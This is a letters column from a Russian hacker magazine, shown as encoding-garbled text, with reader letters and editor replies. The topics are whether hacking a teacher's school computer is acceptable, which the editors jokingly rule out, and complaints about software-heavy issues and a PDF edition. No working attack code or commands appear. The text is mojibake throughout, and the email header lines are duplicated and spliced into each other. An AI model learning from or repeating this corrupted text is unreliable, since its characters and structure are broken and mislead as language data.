ãî íå ñäåëàëà (îíà ó íàñ íå âåäåò «:). È â èòîãå âñòàë âîïðîñ: èìåòü èëè íå èìåòü ìåñòî áûòü õàêó. 
Âîïðîñ, òàê ñêàçàòü ïî ýòèêåòó =).  Çàñèì âñå.
Âåðíûé ÷èòàòåëü Grinder.

Ç.Û. Íàñòîé÷èâî ïðîøó îòâå-
òèòü è ïðèíîøó ñâîè ñîáîëåç-
íîâàíèÿ çà ãåìîððîé, ñâÿçàí-
íûé ñ îòâåòîì =).

Çà ñàáæ ðåñïåêò, à ïîãåìîððîèòüñÿ ïðèäåòñÿ.
Âîîáùå, âîïðîñ «èìåòü èëè íå èìåòü» âñåãäà çà-
íèìàë óìû ïðîäâèíóòîé ìîëîäåæè. Ñ îäíîé ñòî-

ðîíû, Îëüãà ÌÀÍÜÿêîâëåâíà, êîíå÷íî, äîñòîéíà èìåíèÿ, òåì áîëåå ÷òî íè÷åãî ïëîõîãî îíà òå-
áå íå ñäåëàëà, íî ïî ýòèêåòó òðîãàòü åå ñòðîãî âîñïðåùàåòñÿ. Òåì áîëåå ÿ ñëàáî ñåáå ïðåäñ-
òàâëÿþ, êàê ìîæíî õàêîì äîâåñòè ÷åëîâåêà äî íåðâíîãî ñðûâà. Âåäü îíà æå âðÿä ëè õðàíèò íà
âèíòàõ êîìïüþòåðíîãî êëàññà ñâåðõñåêðåòíóþ ðîáîõàéòå÷íóþ ïîðíóõó, íîìåðà êðåä âñåõ ðàáîò-
íèêîâ Microsoft è êîäû ê çàïóñêó ìåæêîíòèíåíòàëüíûõ ðàêåò ðåñïóáëèêè Áåëàðóñü. Õîòÿ... åñëè
äàæå îäíî èç ýòèõ ïðåäïîëîæåíèé âåðíî - ñðî÷íî çâîíè íàì ïî òåëåôîíó 1-800-NEEDHACK-
ERS, è ìû âûøëåì âàì â øêîëó ãðóïïó áûñòðîãî ðåàãèðîâàíèÿ, êîòîðàÿ ëèøèò òåòêó ìîðàëüíûõ
öåííîñòåé çà êàêèå-òî äâàäöàòü ìèíóò. Äîãîâîðèëèñü? Ýé, Õîëîäèëüíèê, òóò ñêîðî ïîðíóõó ñ ðî-
áîòàìè ïîäâåçóò, áðàòü áóäåøü? Íåäîðîãî, ÷óâàê... :).

Ïðèâåò, Ñïåö, â÷åðà êóïèë âàø êóëüíûé æóðíàë.
Æóðíàë ïðîñòî ðóëåççç, äèñê ïîéäåò, à ¹8(21)- àöòîé
(íå âèäíî íàäïèñåé íà ðèñóíêàõ). Âìåñòî ýòîé PDF-
êè ëó÷øå áû ïîáîëüøå ñîôòà çàïèñàëè. Ïîïðîáóéòå
ñîõðàíèòü æóðíàë â PDF ñðàçó ïîñëå âåðñòêè. 

Ç.Û. À çíàåòå, ïî÷åìó âû íå íàïå÷àòàåòå ìîå ïèñüìî?.. Ïîòîìó ÷òî ÿ ñëîâî êóëüíûé è ðóëåç-
çç íàïèñàë âñåãî ïî îäíîìó ðàçó :))).
Ç.Û.Û. Èçâèíèòå, áîëüøå íå ñìîã.

Äàðîâà... ÿ ÷åñòíî Î×ÅÍÜ õîòåë íàïèñàòü «õàêåðû», íî ñåãîäíÿ íî÷üþ
ïèøó ÑÎÔÒÅÐÛ...
Ìäà... âàì íå êàæåòñÿ, ÷òî íîâûé íîìåð ïîëó÷èëñÿ ÷åì-òî âðîäå ÑÓ-
ÏÅÐ-ÏÓÏÅÐ-ÎÁÇÎÐ-ÂÑßÊÎÃÎ-ÍÓÆÍÎÃÎ-È-ÍÅÍÓÆÍÎÃÎ ñîôòà??

ß, êîíå÷íî, ïîíèìàþ, ÷òî, òèïà, íîâûé äèçèãí ýòî êðóòî, ñòàðûå ïîñòîÿííûå ðóáðèêè «must die!», à íîâûå ïîñòîÿí-
íûå ðóáðèêè - «rulezzz!». ÍÎ! ×òî-òî ñòðàííî ïîëó÷àåòñÿ: â ðàçäåëå HOWTO è RTFM âìåñòå 26 ñòðàíèö (èç êîòîðûõ
ïîëîâèíà, êñòàòè, - ñîôòîáçîð...), à â SOFT�å - 41 è îïÿòü òåñòäðàéâû è ñðàâíåíèÿ êóëüíûõ è ÍÅêóëüíûõ ïðîã.
Ìîæåò, òàê îíî è äîëæíî áûòü - ïåðâûé íîìåð, òèïà, îá îñÿõ, î ÷åì ïèñàòü - î ïðîãàõ!, íî ìû æå âðîäå ÷èòàåì æóð-
íàë ÑïåöÕàêåð, à íå ÑïåöÑîôòåð, òàê ÷òî âîò...
Îíî, êîíå÷íî, íåïëîõî óçíàòü î ïðîãðàììóëüêàõ äëÿ ëèíÿ, íî íå çàáèâàòü æå öåëûé íîìåð òîëüêî ýòèì...
À ÒÅÏÅÐÜ Î ÕÎÐÎØÅÌ �->>
Ðóáðèêà HARD - âå÷íûé ðóëåçç... à
NIRO - äâå ñòîðè â íîìåð!!!
Íó âñå, ïîéäó ÿ, òàâî, ñïàòü ÷òî ëè,
ïîçäíî óæå...

Ìàôàêà! Íó ñêîëüêî æå ìîæíî ïåðåëèâàòü èç
ïóñòîãî â ïîðîæíåå? Äà, ìû òåïåðü ñîôòåðû,
æóðíàë â ñðî÷íîì ïîðÿäêå ïåðåèìåíîâûâàåòñÿ,
ðóáðèêè HOWTO è RTFM óïðàçäíÿþòñÿ, âñÿ

âëàñòü Ñîâåòàì! :). À ýòîò íîìåð áóäåì ñ÷èòàòü Ñïåöâûïóñêîì ïî õàêó æóðíàëà ÑïåöÑîô-
òåð :))). Ïî-ìîåìó íåïëîõî. Êñòàòè, òóò îäíèì èç ðåäàêòîðîâ (Äîíîð, ÿ âåäü òåáÿ íå çàëî-
æèë, ïðàâäà?) áûëà âûñêàçàíà èíòåðåñíàÿ ìûñëü, ÷òî åñëè ðàíüøå Ñïåö, ïîñâÿùåííûé
âçëîìó, áûë ýêâèâàëåíòåí èíñòðóêöèè ïî ñáîðêå ïóëåìåòà, òî ñ ïîÿâëåíèåì äèñêà îí
ïðåâðàùàåòñÿ â ýòîò ñàìûé ïóëåìåò. Ïðè÷åì ñ íåõèëîé îïòèêîé, ïëþøåâûìè ðó÷êàìè è
ðàñïèñíûì ïðèêëàäîì. Ñ÷àñòëèâîé òåáå îõîòû, Ìàóãëè... â ñìûñëå, Ìîðëîê :).

FFrom: Ñàíåê (postarom: Ñàíåê (postal@xakep.ru)l@xakep.ru)
Subj: Îòêðûâàé, ÷åãî âîëûíó òÿíåøü?!Subj: Îòêðûâàé, ÷åãî âîëûíó òÿíåøü?!

FFrom: Áûñòðîâ Íèêîëàérom: Áûñòðîâ Íèêîëàé
(cr(crazy_koazy_kolyan@mail.ru)lyan@mail.ru)
Subj: ¹8(21) PDFSubj: ¹8(21) PDF

FFrom: morrom: morlock (morlock (morlock@bk.ru)lock@bk.ru)
Subj: à âû òåïåðü ÑÎÔÒÅÐÛ????Subj: à âû òåïåðü ÑÎÔÒÅÐÛ????

TTo: moro: morlock (morlock (morlock@bk.ru)lock@bk.ru)

Õì, äîêëàäûâàþ îïåðàòèâíóþ îáñòàíîâêó: ñíà÷à-
ëà ìû ïèëè òåêèëó, íàñòîÿííóþ íà îãóðöàõ ñ îãî-
ðîäà Ôåäèíîé áàáóøêè. Ïîòîì òåêèëà êîí÷è-
ëàñü, è ìû ðåøèëè ñåáÿ ðàçâëå÷ü ïåðåãîíîì

æóðíàëà â PDF. Ïîëó÷èëîñü äâà âàðèàíòà - îäèí ìàëåíüêèé, íî ñ õðåíîâûìè ñêðèíà-
ìè, à äðóãîé êðàñèâûé, íî áîëüøîé. Ïðè÷åì íàñòîëüêî áîëüøîé, ÷òî íà äèñê Ñïåöà
âëåçàòü îí îòêàçàëñÿ :(. Òàê ÷òî ïðèäåòñÿ ïðèíÿòü íà âåðó, ÷òî íå â ñêðèíàõ ñ÷àñòüå,
è ðàäîâàòüñÿ òîëüêî òåêñòàì. À ïåðñîíàëüíî òåáå ìîãó âûñëàòü ëþáóþ ñòðàíèöó
æóðíàëà. Èëè îãóðöîâ ñ îãîðîäà Ôåäèíîé áàáóøêè. Íà âûáîð :). 

TTo: Áûñòðîâ Íèêîëàéo: Áûñòðîâ Íèêîëàé
(cr(crazy_koazy_kolyan@mail.ru)lyan@mail.ru)

TTo: Ñàíåê (postao: Ñàíåê (postal@xakep.ru)l@xakep.ru)
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